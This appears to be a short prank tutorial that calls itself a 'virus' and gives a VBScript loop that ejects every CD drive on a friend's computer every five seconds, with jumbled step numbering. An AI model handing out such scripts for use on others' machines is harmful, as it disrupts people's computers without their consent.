Virus To Continually Eject Out/In Friend's CD Drives

Here in this post you will know how you can create a simple vbscript virus and by that you can continually pop in or pop out CD drives.
This code will eject in or out all cd drives continually cd drives.

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

2. This virus would eject in or out cd drives.
3.Below is the code, and you need to save this file with extension of .vbs

Watch Video